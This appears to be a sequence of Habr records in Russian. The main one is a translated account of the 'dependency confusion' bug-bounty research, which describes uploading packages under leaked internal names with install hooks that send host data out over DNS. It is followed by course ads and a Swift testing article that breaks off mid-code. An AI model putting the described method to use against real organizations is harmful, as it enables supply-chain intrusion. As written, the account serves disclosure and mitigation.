А сейчас вы можете взглянуть на код и [репозиторий](https://github.com/balamaci/rxjava-rabbitmq), как продолжение этого длинного поста [**Part II** (Части 2)](https://balamaci.ro/reactive-log-stream-processing-with-rxjava-part-2/) или перейдите на [**Rx Playground**](https://github.com/balamaci/rxjava-playground) там вы найдете больше примеров.
[Ссылка на сайт переводчика](http://blog.isatimur.xyz) | https://habr.com/ru/post/329894/ | null | ru | null |
# Путаница зависимостей. Как я взломал Apple, Microsoft и десятки других компаний
С тех пор как я начал учиться программировать, я восхищаюсь уровнем доверия, который мы вкладываем в простую команду, подобную этой:
```
pip install package_name
```
В некоторых языках программирования, таких как Python, это простой, более или менее официальный способ установки зависимостей для ваших проектов. Такие установщики обычно привязаны к публичным репозиториям кода, куда каждый может свободно загружать пакеты кода для использования другими пользователями.
Вы, наверное, уже слышали о таких инструментах — у Node есть менеджер `npm` и реестр npm, система управления пакетами `pip` языка Python использует PyPI (Python Package Index), а систему `gems` для языка Ruby можно найти… на сайте RubyGems.
Загрузив и установив пакет из любого из этих источников, вы, по сути, доверяете его издателю, запуская соответствующий код на своём компьютере. Так может ли эта слепая вера быть использована злоумышленниками?
---
Конечно, может.
Ни одна из служб размещения пакетов не может гарантировать, что весь код, загружаемый её пользователями, не содержит вредоносных программ. [Прошлое исследование](https://incolumitas.com/2016/06/08/typosquatting-package-managers/) показало, что *typosquatting* — атака с использованием версий имён популярных пакетов с опечатками — может быть невероятно эффективной при получении доступа к случайным компьютерам по всему миру.
Другие хорошо известные пути атаки цепочек зависимостей включают использование различных методов компрометации существующих пакетов или загрузку вредоносного кода под именами зависимостей, которых больше не существует.
Идея
----
Пытаясь взломать PayPal вместе со мной летом 2020 года, Джастин Гарднер поделился интересным фрагментом исходного кода Node.js, найденного в GitHub.
Код предназначался для внутреннего использования в PayPal, и в его файле package.json, по-видимому, содержалась смесь публичных и частных зависимостей — публичные пакеты от npm, а также имена непубличных пакетов, скорее всего, размещённых внутри PayPal. В то время этих имён не было в публичном реестре npm.
С логикой, диктующей, какой пакет должен быть получен из неясного здесь источника, возникло несколько вопросов:
* Что произойдёт при загрузке в npm вредоносного кода с этими именами? Возможно ли, что некоторые внутренние проекты PayPal начнут по умолчанию переходить на новые публичные пакеты вместо частных?
* Начнут ли разработчики или даже автоматизированные системы выполнять код внутри библиотек?
* Если это сработает, сможем ли мы получить за это вознаграждение?
* Сработает ли такая атака и против других компаний?
Без лишних церемоний я стал разрабатывать план, чтобы ответить на эти вопросы.
Идея заключалась в загрузке собственных «вредоносных» пакетов Node в реестр npm под всеми невостребованными именами, которые «будут звонить домой» с каждого компьютера, на котором они были установлены. Если какой-либо из пакетов в итоге устанавливается на серверах, принадлежащих PayPal, или в любом другом месте, то содержащийся в них код немедленно уведомляет меня.
На данном этапе я считаю важным пояснить, что каждая отдельная организация, которая служила целью во время этого исследования, предоставила разрешение на проверку своей безопасности либо в рамках общедоступных программ вознаграждения за нахождение ошибок, либо посредством частных соглашений. Пожалуйста, непытайтесь проводить такой тест без разрешения.
### «Это всегда DNS»
К счастью, npm позволяет при установке пакета автоматически выполнять произвольный код, что облегчает создание пакета Node, который собирает некоторую базовую информацию о каждом компьютере, на котором он установлен, с помощью своего сценария preinstall.
Чтобы найти баланс между возможностью идентифицировать организацию на основе данных и необходимостью избегать сбора слишком большого количества конфиденциальной информации, я остановился только на регистрации имени пользователя, имени хоста и текущего пути каждой уникальной установки. Наряду с внешними IP-адресами этого было достаточно, чтобы помочь специалистам по безопасности выявить потенциально уязвимые системы на основе моих отчётов, избегая при этом того, чтобы моё тестирование было ошибочно принято за реальную атаку.
Остался только вопрос: как мне вернуть эти данные?
Зная, что большинство возможных целей находится глубоко внутри хорошо защищённых корпоративных сетей, я решил, что кража данных DNS — это правильный путь.
Отправка информации моему серверу по протоколу DNS не была важна для работы самого теста, но она указывала на меньшую вероятность блокировки трафика и его обнаружения на выходе.Данные в шестнадцатеричной кодировке использовались как часть DNS-запроса, который достигал моего собственного полномочного сервера доменных имён напрямую или через промежуточные сопоставители. Сервер был настроен для регистрации каждого полученного запроса, по сути, сохраняя запись каждого компьютера, в который были загружены пакеты.
Чем больше, тем лучше
---------------------
Теперь, после завершения подготовки плана атаки, пришло время обнаружить больше возможных целей.
Первая стратегия заключалась в поиске альтернативных экосистем для атаки. Поэтому я перенёс код как на Python, так и на Ruby, чтобы можно было загружать аналогичные пакеты в PyPI (Python Package Index) и RubyGems соответственно.
Однако, возможно, самой важной частью этого теста был поиск максимально возможного количества значимых имён зависимостей.
Несколько полных дней поиска имён частных пакетов, принадлежащих некоторым целевым компаниям, показали, что многие другие имена можно найти в GitHub, а также в основных службах размещения пакетов — во внутренних пакетах, которые были случайно опубликованы, — и даже в сообщениях на различных интернет-форумах.
Однако, оказалось, что лучше всего искать имена частных пакетов... в файлах JavaScript.
Видимо, довольно часто внутренние файлы package.json с именами зависимостей проектов JavaScript, встраиваются в общедоступные файлы сценариев во время их сборки, раскрывая имена внутренних пакетов. Точно так же получаемые по каналам утечки внутренние пути или вызовы require() в таких файлах также могут содержать имена зависимостей. Apple, Yelp и Tesla — это лишь несколько примеров компаний, у которых внутренние имена были раскрыты таким образом.
Во второй половине 2020 года, благодаря помощи пользователя [@streaak](https://twitter.com/streaak) и его замечательным навыкам реконструкции, мы смогли автоматически просканировать миллионы доменов, принадлежащих целевым компаниям, и извлечь сотни дополнительных имён пакетов JavaScript, которые ещё не были заявлены в реестре npm.Затем я загрузил свой код в службу размещения пакетов под всеми найденными именами и стал ждать обратных вызовов.
Результаты
----------
Успех был просто поразительным.
От единичных ошибок, допущенных разработчиками на собственных компьютерах, до неправильно сконфигурированных внутренних или облачных серверов сборки, до системно уязвимых конвейеров разработки, было ясно одно: использование действительных имён внутренних пакетов было способом, который почти наверняка позволял проникнуть в сети некоторых крупнейших технологических компаний, получить доступ к удалённому выполнению кода и, возможно, позволить злоумышленникам добавлять бэкдоры во время сборки.
На тот момент уязвимость этого типа, которую я начал называть *путаницей зависимостей*, была обнаружен более чем в 35 организациях, во всех трёх тестируемых языках программирования. У подавляющего большинства затронутых компаний больше 1000 сотрудников, что, скорее всего, отражает более высокую распространённость внутреннего использования библиотек в более крупных организациях.
Поскольку имена зависимостей JavaScript легче найти, почти 75 % всех зарегистрированных обратных вызовов исходили из пакетов npm, но это не обязательно означает, что Python и Ruby менее восприимчивы к такой атаке. На самом деле, несмотря на то что во время моих поисков мне удалось идентифицировать лишь внутренние имена gem для Ruby, принадлежащие восьми организациям, четыре из этих компаний оказались уязвимыми для путаницы зависимостей посредством RubyGems.
Одна такая компания — канадский гигант электронной коммерции Giant Shopify, система сборки которой автоматически устанавливала пакет gem для Ruby с именем shopify-cloud всего лишь через несколько часов после того, как я его загрузил, а затем попытался выполнить код внутри него. Специалисты Shopify подготовили исправление в течение дня, а за обнаружение ошибки была присуждена награда в размере 30 000 долларов.
Ещё одна награда в размере 30 000 долларов была получена от Apple после того, как код в пакете Node, который я загрузил в npm в августе 2020 года, был выполнен на нескольких компьютерах внутри сети этой компании. Затронутые проекты оказались связаны с системой аутентификации Apple, известной за пределами компании как Apple ID.
Когда я подал идею о том, что эта ошибка, возможно, позволяла злоумышленникам внедрять бэкдоры в Apple ID, в компании Apple не посчитали, что этот уровень воздействия точно отражает проблему, и заявили:
> *Реализация бэкдора в оперативной службе требует более сложной последовательности событий, и это очень специфический термин, который несёт в себе дополнительные коннотации.*
>
>
Однако в компании Apple подтвердили возможность удалённого выполнения кода на серверах Apple с помощью этой техники пакетов npm. Судя по потоку установок пакетов, проблема была исправлена в течение двух недель после моего отчёта, но премия за обнаружение ошибки была присуждена менее чем за день до этой публикации.
Такое же использование пакетов npm, устанавливаемых как на внутренние серверы, так и на ПК отдельных разработчиков, наблюдалось и в нескольких других успешных атаках на другие компании, причём некоторые установки часто выполнялись через часы или даже минуты после загрузки пакетов.
О, а имена PayPal, с которых всё началось? Они тоже сработали, что привело к ещё одной награде в размере 30 000 долларов. Фактически размер большинства присужденных премий за обнаружение ошибки был максимально разрешённым в рамках политики каждой программы, а иногда и превышал максимум, подтверждая в целом высокую серьезность уязвимости «путаница зависимостей».
К затронутым компаниям также относятся Netflix, Yelp и Uber.
### «Это не баг, это фича»
Несмотря на получение большого количества результатов по уязвимости «путаница зависимости», одна деталь была — и в определённой степени остаётся до сих пор — неясной: *почему* это происходит? Каковы основные первопричины уязвимости такого рода?
Большинство затронутых организаций неохотно делились дальнейшими техническими подробностями о своих первопричинах и стратегиях смягчения последствий, но несколько интересных деталей всё же появилось во время моих исследований и общения со специалистами по безопасности.
Например, главный виновник путаницы зависимостей в Python, — это, по-видимому, неправильное использование «небезопасного по своей конструкции» аргумента командной строки --extra-index-url. Если, используя этот аргумент с командой pip install library, указать собственный индекс пакета, можно обнаружить, что он работает ожидаемым образом, но то, что pip на самом деле делает за кулисами, выглядит примерно так:
* проверяет существование library в указанном (внутреннем) индексе пакетов;
* проверяет существование library в **публичном** индексе пакетов (PyPI);
* устанавливает любую найденную версию. Если пакет существует в обоих индексах, то по умолчанию он устанавливается из источника с **более высоким номером версии**.
Поэтому загрузка пакета с именем `library 9000.0.0` в PyPI приведёт к захвату зависимости в приведённом выше примере.
Хотя такое поведение уже было широко известно, простого поиска в GitHub выражения --extra-index-url было достаточно, чтобы найти несколько уязвимых сценариев, принадлежащих крупным организациям, включая ошибку, влияющую на компонент Microsoft .NET Core. [Данная уязвимость](https://github.com/dotnet/dotnet-buildtools-prereqs-docker/commit/56c6673d3aa6c6d9887a5a584b814b10da7b7177%23diff-14d7481c475cdd006d8421a767a8af12330cd68de62b26551644b3e05a3a3891L47), которая, возможно, позволила бы добавлять бэкдоры в .NET Core, к сожалению, была обнаружена вне рамок программы вознаграждения за нахождение ошибок в .NET.
В Ruby команда `gem install --source` работает аналогичным образом, но мне не удалось подтвердить, было ли её использование основной причиной каких-либо моих находок.
Конечно, замена `--extra-index-url` на `--index-url` быстро и прямо исправляет уязвимость, но снизить риск некоторых других вариантов уязвимости «путаница зависимостей» оказалось гораздо труднее.
JFrog Artifactory, часть программного обеспечения, широко используемая для размещения внутренних пакетов всех типов, предлагает возможность смешивать внутренние и публичные библиотеки в одном «виртуальном» репозитории, значительно упрощая управление зависимостями. Однако несколько клиентов заявили, что в Artifactory используется точно такой же уязвимый алгоритм, что был описан выше, при выборе между обслуживанием внутреннего и внешнего пакета с одним именем. На момент написания статьи не было никакого способа изменить это поведение по умолчанию.
В JFrog, как сообщается, знают об этой проблеме, но рассматривает её возможное исправление как «запрос функции» без расчётного времени его реализации, в то время как некоторые клиенты компании прибегли к изменению системной политики управления зависимостями, чтобы уменьшить риск путаницы зависимостей.
Компания Microsoft также предлагает аналогичную службу размещения пакетов под названием Azure Artifacts. По результатам одного из моих отчётов в эту службу были внесены некоторые незначительные улучшения, чтобы она могла гарантированно предоставить надёжный путь обхода уязвимостей «путаница зависимостей». Как ни странно, эта проблема была обнаружена не в результате тестирования самой службы Azure Artifacts, а, скорее, путём успешной атаки на облачную систему Microsoft Office 365, в результате чего за этот отчёт была получена самая высокая награда Azure в размере 40 000 долларов.
Более подробную информацию о первопричинах и рекомендациях по профилактике можно найти в техническом документе Microsoft [3 Ways to Mitigate Risk When Using Private Package Feeds](https://aka.ms/pkg-sec-wp).
### Будущие исследования?
Хотя многие крупные технологические компании уже осведомлены об уязвимости этого типа и либо исправили её в своей инфраструктуре, либо работают над внедрением мер по смягчению последствий, у меня сохраняется ощущение, что есть ещё что-то, что нужно обнаружить.
В частности, я считаю, что поиск новых и умных способов утечки имён внутренних пакетов откроет ещё более уязвимые системы, а поиск целевых альтернативных языков программирования и репозиториев откроет некоторые дополнительные направления атак на основе ошибок, связанных с путаницей зависимостей.
Тем не менее я искренне призываю вас, независимо от вашего уровня опыта, потратить некоторое время и проработать эту идею в глубине своего сознания, независимо от того, связана она с безопасностью управления зависимостями или нет.
Даже крупные компании совершают порой ошибки и допускают уязвимости. На нашем курсе [«Этичный хакер»](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=020421) мы учим студентов искать эти уязвимости и зарабатывать на этом. Если устали чинить баги в коде и постоянно надстраивать что-то новое — приходите к нам, будем учиться «ломать», находя бреши в софте даже у крутых корпораций.
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=020421), как прокачаться в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=020421)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=020421)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=020421)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=020421)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=020421)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=020421)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=020421)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=020421)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=020421)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=020421)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=020421)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=020421)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=020421)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=020421)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=020421)
* [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=020421)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=020421)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=020421)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=020421)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=020421)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=020421) | https://habr.com/ru/post/550380/ | null | ru | null |
# Облегчаем внедрение зависимостей и модульное тестирование с помощью асинхронных функций
Очень часто подготовка кода к модульному (или юнит-) тестированию имеет обыкновение идти рука об руку с работой по разделению ответственности, улучшению управления состояниями и его архитектуры в целом. Как правило, чем лучше абстрагирован и организован ваш код, тем легче его будет покрыть автоматизированными тестами.
Однако, стремясь сделать код более тестируемым, мы очень часто можем обнаружить, что в рамках этого процесса вводим массу новых протоколов и других видов абстракций, и в конечном итоге значительно усложняем наш код — особенно при тестировании асинхронного кода, который полагается на ту или иную форму сетевого взаимодействия.
Но *действительно* *ли* мы обречены платить такую цену за тестируемость? Что, если бы мы могли сделать наш код полностью пригодным для тестирования таким образом, чтобы от нас не требовалось вводить какие-либо новые протоколы, всевозможные моки или сложные абстракции? Давайте же разберемся, как мы могли бы реализовать это, используя новые возможности `async/await` Swift.
### Внедренное сетевое взаимодействие
Допустим, мы работаем над приложением, включающим в себя следующую `ProductViewModel`, которая использует очень распространенный шаблон получения своего `URLSession` (который будет использоваться для выполнения сетевых вызовов) - путем внедрения через инициализатор:
```
class ProductViewModel {
var title: String { product.name }
var detailText: String { product.description }
var price: Price { product.price(in: localUser.currency) }
...
private var product: Product
private let localUser: User
private let urlSession: URLSession
init(product: Product, localUser: User, urlSession: URLSession = .shared) {
self.product = product
self.localUser = localUser
self.urlSession = urlSession
}
func reload() async throws {
let url = URL.forLoadingProduct(withID: product.id)
let (data, _) = try await urlSession.data(from: url)
let decoder = JSONDecoder()
product = try decoder.decode(Product.self, from: data)
}
}
```
В приведенном выше коде нет ничего крамольного. Он работает, он использует [внедрение зависимостей](https://www.swiftbysundell.com/articles/different-flavors-of-dependency-injection-in-swift), чтобы избежать прямого доступа к `URLSession.shared` как к синглтону (что уже имеет огромные преимущества с точки зрения тестирования и архитектуры в целом), даже если он все-равно по умолчанию использует инстанс `shared`, из соображений удобства.
Тем не менее, можно определенно утверждать, что встраивание необработанных сетевых вызовов в такие типы, как модели (view models) и контроллеры (view controllers) представлений, — это то, чего в идеале следует избегать в целях лучшего разделения ответственности в нашем проекте и возможности повторно использовать этот сетевой код всякий раз, когда нам нужно выполнить аналогичный запрос в где-нибудь другом месте.
Таким образом, чтобы улучшить приведенный выше пример, мы можем извлечь код загрузки продукта из нашей модели представления в отдельный специальный тип `ProductLoader`:
```
class ProductLoader {
private let urlSession: URLSession
init(urlSession: URLSession = .shared) {
self.urlSession = urlSession
}
func loadProduct(withID id: Product.ID) async throws -> Product {
let url = URL.forLoadingProduct(withID: id)
let (data, _) = try await urlSession.data(from: url)
let decoder = JSONDecoder()
return try decoder.decode(Product.self, from: data)
}
}
```
Далее, если мы заставим нашу модель представления использовать этот новый `ProductLoader`, а не напрямую взаимодействовать с URLSession, то мы значительно упростим ее реализацию, поскольку теперь она может просто вызывать `loadProduct` всякий раз, когда от нее требуется перезагрузить базовую модель данных:
```
class ProductViewModel {
...
private var product: Product
private let localUser: User
private let loader: ProductLoader
init(product: Product, localUser: User, loader: ProductLoader) {
self.product = product
self.localUser = localUser
self.loader = loader
}
func reload() async throws {
product = try await loader.loadProduct(withID: product.id)
}
}
```
Это уже значительное улучшение, но что, если теперь мы хотим реализовать пару модульных тестов, чтобы убедиться, что наша модель представления ведет себя так, как мы ожидаем? Для этого нам нужно *мокать* сетевое взаимодействие нашего приложения, поскольку мы определенно не хотим выполнять какие-либо реальные сетевые вызовы в наших модульных тестах (поскольку это может добавить задержки, некоторую ненадежность и потребовать от нас всегда быть онлайн во время работы над нашей кодовой базой).
### Мокинг на основе протоколов
Одним из вариантов реализации такого мока было бы создание абстракции (протокола) `Networking`, которая, по сути, просто требует от нас дублировать сигнатуру `URLSession.data` в рамках этого протокола, а затем привести URLSession в соответствие с нашим новый протокол через экстеншн — вот так:
```
protocol Networking {
func data(
from url: URL,
delegate: URLSessionTaskDelegate?
) async throws -> (Data, URLResponse)
}
extension Networking {
// Если мы хотим избежать необходимости всегда передавать 'delegate: nil'
// в местах вызова, где нам не нужно использовать делегат, то следует
//также добавить следующий удобный API (который URLSession предоставляет
//сам при его непосредственном использовании):
func data(from url: URL) async throws -> (Data, URLResponse) {
try await data(from: url, delegate: nil)
}
}
extension URLSession: Networking {}
```
Это позволит нам заставить `ProductLoader` принимать любой объект, который соответствует нашему новому протоколу `Networking`, а не только конкретный инстанс `URLSession` как раньше (для удобства мы по-прежнему будем использовать `URLSession.shared`):
```
class ProductLoader {
private let networking: Networking
init(networking: Networking = URLSession.shared) {
self.networking = networking
}
func loadProduct(withID id: Product.ID) async throws -> Product {
let url = URL.forLoadingProduct(withID: id)
let (data, _) = try await networking.data(from: url)
let decoder = JSONDecoder()
return try decoder.decode(Product.self, from: data)
}
}
```
Теперь, когда вся эта подготовительная работа завершена, мы наконец можем приступить к написанию наших тестов. Начнем мы с создания мок-реализации нашего протокола `Networking`, а затем `ProductLoader` и `ProductViewModel`, которые используют эту мок-реализацию для выполнения всех сетевых вызовов, что, в свою очередь, позволяет нам писать наши тесты следующим образом:
```
class NetworkingMock: Networking {
var result = Result.success(Data())
func data(
from url: URL,
delegate: URLSessionTaskDelegate?
) async throws -> (Data, URLResponse) {
try (result.get(), URLResponse())
}
}
class ProductViewModelTests: XCTestCase {
private var product: Product!
private var networking: NetworkingMock!
private var viewModel: ProductViewModel!
override func setUp() {
super.setUp()
product = .stub()
networking = NetworkingMock()
viewModel = ProductViewModel(
product: product,
localUser: .stub(),
loader: ProductLoader(networking: networking)
)
}
func testReloadingProductUpdatesTitle() async throws {
product.name = "Reloaded product"
networking.result = try .success(JSONEncoder().encode(product))
XCTAssertNotEqual(viewModel.title, product.name)
try await viewModel.reload()
XCTAssertEqual(viewModel.title, product.name)
}
...
}
```
Если хотите узнать больше о методе `.stub()`, который вызывается выше для создания стаб-версий наших моделей данных, ознакомьтесь со статьей [“Defining testing data in Swift”](https://www.swiftbysundell.com/articles/defining-testing-data-in-swift).
Отлично! Мы успешно отрефакторили всю нашу `ProductViewModel`, чтобы сделать его полностью тестируемой, и начали покрывать ее модульными тестами. Очень хорошо.
Но если мы внимательнее посмотрим на приведенный выше тестовый пример, мы увидим, что наш `ProductLoader` практически не задействован в нашем тестовом коде. Это потому, что в данном случае нас интересует только мокинг нашего сетевого кода, поскольку его было бы достаточно проблематично запускать в контексте тестирования.
Вот теперь определенно можно утверждать, что нам *следовало бы* добавить дополнительный протокол и мок-слой для `ProductLoader`, что позволило бы нам мокать его напрямую, а не использовать его реальную реализацию с мок-инстансом сетевого взаимодействия. Вы даже можете возразить, что приведенный выше модульный тест на самом деле вовсе не является модульным тестом, а по сути представляет из себя *интеграционный тест*, поскольку он объединяет несколько модулей (наша модель представления, загрузчик продукта и сетевое взаимодействие) для выполнения проверок.
Однако, если бы мы пошли по этому хрестоматийному для модульного тестирования пути и ввели еще один протокол и тип-мок, то мы могли бы быстро скатиться по скользкой дорожке, где каждый отдельный объект в нашей кодовой базе также имеет связанный с ним протокол и тип-мок, что привело бы к большому дублированию кода и дополнительной сложности (даже при использовании инструментов генерации кода для автоматического создания всех этих типов).
Но, возможно, есть способ, которым мы могли бы получить желаемое не утонув во всем этом вспомогательном коде? Давайте посмотрим, сможем ли мы заставить наш вышеприведенный тест-кейс просто взять и проверить нашу `ProductViewModel` одним модулем, а также избавиться от всех этих моков и протоколов, специально созданных в целях тестируемости, в процессе.
### Добавим немного функционального программирования
Если мы перестанем думать о коде загрузки нашего продукта с точки зрения объектно-ориентированных конструкций, таких как классы и протоколы, и вместо этого посмотрим на него с более функциональной точки зрения, то мы могли бы переписать код загрузки нашей модели представления, используя следующая сигнатуру функции:
```
typealias Loading = () async throws -> T
```
Это функция, которая асинхронно загружает некоторое значение и либо возвращает его, либо выдает ошибку.
Затем давайте еще раз изменим нашу `ProductViewModel`, чтобы теперь она принимала *некоторую функцию*, соответствующую приведенной выше сигнатуре (специализированную нашей моделью `Product`), ане инстанс `ProductLoader` как раньше:
```
class ProductViewModel {
...
private var product: Product
private let localUser: User
private let reloading: Loading
init(product: Product,
localUser: User,
reloading: @escaping Loading) {
self.product = product
self.localUser = localUser
self.reloading = reloading
}
func reload() async throws {
product = try await reloading()
}
}
```
Один момент, который мне очень нравится в приведенном выше шаблоне, заключается в том, что он по-прежнему позволяет нам продолжать использовать существующие `Networking` и `ProductLoader`, как и раньше — все, что нам нужно сделать, это вызвать этот код с reloading функции/замыкания, которую мы передаем в нашу `ProductViewModel` при ее создании:
```
func makeProductViewModel(
for product: Product,
localUser: User,
networking: Networking
) -> ProductViewModel {
let loader = ProductLoader(networking: networking)
return ProductViewModel(
product: product,
localUser: localUser,
reloading: {
try await loader.loadProduct(withID: product.id)
}
)
}
```
Если вы уже давно читаете Swift by Sundell, то вы можете узнать приведенный выше шаблон из [“Functional networking in Swift”](https://www.swiftbysundell.com/articles/functional-networking-in-swift) 2019-го года, в которой для достижения аналогичного результата использовались Future и Promise.
Но вот где все становится *действительно* интересно. Теперь при модульном тестировании нашей `ProductViewModel` нам больше не нужно ни беспокоиться о мокинге нашего сетевого взаимодействия, ни даже создавать `ProductLoader` — все, что нам нужно сделать, это внедрить встроенное (inline) замыкание, возвращающее определенное значение типа `Product`, которое мы затем можем изменять (mutate) всякий раз, когда мы хотим каким-либо образом изменить наш reloading-ответ:
```
class ProductViewModelTests: XCTestCase {
private var product: Product!
private var viewModel: ProductViewModel!
override func setUp() {
super.setUp()
product = .stub()
viewModel = ProductViewModel(
product: product,
localUser: .stub(),
reloading: { [unowned self] in self.product }
)
}
func testReloadingProductUpdatesTitle() async throws {
product.name = "Reloaded product"
XCTAssertNotEqual(viewModel.title, product.name)
try await viewModel.reload()
XCTAssertEqual(viewModel.title, product.name)
}
...
}
```
Обратите внимание, что во всем нашем тест-кейсе больше нет никаких протоколов или типов-моков! Поскольку теперь мы полностью отделили нашу `ProductViewModel` от нашего сетевого кода, мы можем провести модульное тестирование этого класса в полной изоляции от всего остального, поскольку он просто получает доступ к замыканию, которое *откуда-то* загружает значение типа `Product`.
### Масштабирование
Но теперь возникает большой вопрос — как этот шаблон *масштабируется*, если нам нужно выполнять несколько видов операций загрузки в пределах данного типа? Чтобы ответить на этот вопрос, давайте начнем с введения второго типа сигнатуры асинхронной функции, которая позволит нам выполнять *экшн* по заданному значению:
```
typealias AsyncAction = (T) async throws -> Void
```
Затем предположим, что мы хотим расширить нашу `ProductViewModel` поддержкой добавления данного продукта в избранные (путем его маркировки), а также иметь возможность добавлять этот продукт в сформированный пользователем список. Чтобы мы могли это сделать, на нужно внедрить эти две новые функции в виде отдельных замыканий — вот так:
```
class ProductViewModel {
...
private let reloading: Loading
private let favoriteToggling: Loading
private let listAdding: AsyncAction
init(product: Product,
localUser: User,
reloading: @escaping Loading,
favoriteToggling: @escaping Loading,
listAdding: @escaping AsyncAction) {
self.product = product
self.localUser = localUser
self.reloading = reloading
self.favoriteToggling = favoriteToggling
self.listAdding = listAdding
}
func reload() async throws {
product = try await reloading()
}
func toggleProductFavoriteStatus() async throws {
product = try await favoriteToggling()
}
func addProductToList(withID listID: List.ID) async throws {
try await listAdding(listID)
}
}
```
Приведенный выше код по-прежнему вполне себе работает, но наша реализация начинает становиться немного запутанной, так как теперь при инициализации нашей модели представления нам приходится жонглировать несколькими замыканиями.
Итак, давайте вдохновимся статьей [“Extracting view controller actions in Swift”](https://www.swiftbysundell.com/articles/extracting-view-controller-actions-in-swift) и сгруппируем три приведенных выше замыкания в структуру Action’ов, которая привнесет в наш код какую-никакую структуру (простите за каламбур) как при реализации, так и при инициализации нашей `ProductViewModel`:
```
class ProductViewModel {
...
private let actions: Actions
init(product: Product, localUser: User, actions: Actions) {
self.product = product
self.localUser = localUser
self.actions = actions
}
func reload() async throws {
product = try await actions.reload()
}
func toggleProductFavoriteStatus() async throws {
product = try await actions.toggleFavorite()
}
func addProductToList(withID listID: List.ID) async throws {
try await actions.addToList(listID)
}
}
extension ProductViewModel {
struct Actions {
var reload: Loading
var toggleFavorite: Loading
var addToList: AsyncAction
}
}
func makeProductViewModel(
for product: Product,
localUser: User,
networking: Networking,
listManager: ListManager
) -> ProductViewModel {
let loader = ProductLoader(networking: networking)
return ProductViewModel(
product: product,
localUser: localUser,
actions: ProductViewModel.Actions(
reload: {
try await loader.loadProduct(withID: product.id)
},
toggleFavorite: {
try await loader.toggleFavoriteStatusForProduct(
withID: product.id
)
},
addToList: { listID in
try await listManager.addProduct(
withID: product.id,
toListWithID: listID
)
}
)
)
}
```
Изменение, произведенное выше, по-прежнему позволяет нам мокать все три вышеупомянутых экшена, используя простые замыкания в наших тестах, а также упрощает управление этими экшенами, особенно если мы планируем продолжить добавлять новые в будущем. Конечно, приведенный выше шаблон, вероятно, не будет так хорошо масштабироваться для типов, которые имеют 10, 15, 20 экшенов, но для них, вероятно, также справедлив вопрос: а не слишком ли много обязанностей у таких типов?
Тем не менее, вышеприведенный шаблон есть за что покритиковать - дело в том, что в конечном итоге он переносит некоторые детали внутренней реализации нашей `ProductViewModel` в места вызовов, которые создают ее инстансы. Например, наша функция `makeProductViewModel` теперь должна точно знать, какую логику она должна поместить в каждое из Action-замыканий нашей модели представления.
Одним из способов решения этой проблемы было бы предоставление дефолтных реализаций этих замыканий с помощью базовых объектов, которые наш производственный код в идеале должен использовать, — что можно было бы сделать с помощью экстеншена, который можно поместить в тот же файл, что и сама наша `ProductViewModel` :
```
extension ProductViewModel.Actions {
init(productID: Product.ID,
loader: ProductLoader,
listManager: ListManager) {
reload = {
try await loader.loadProduct(withID: productID)
}
toggleFavorite = {
try await loader.toggleFavoriteStatusForProduct(
withID: productID
)
}
addToList = {
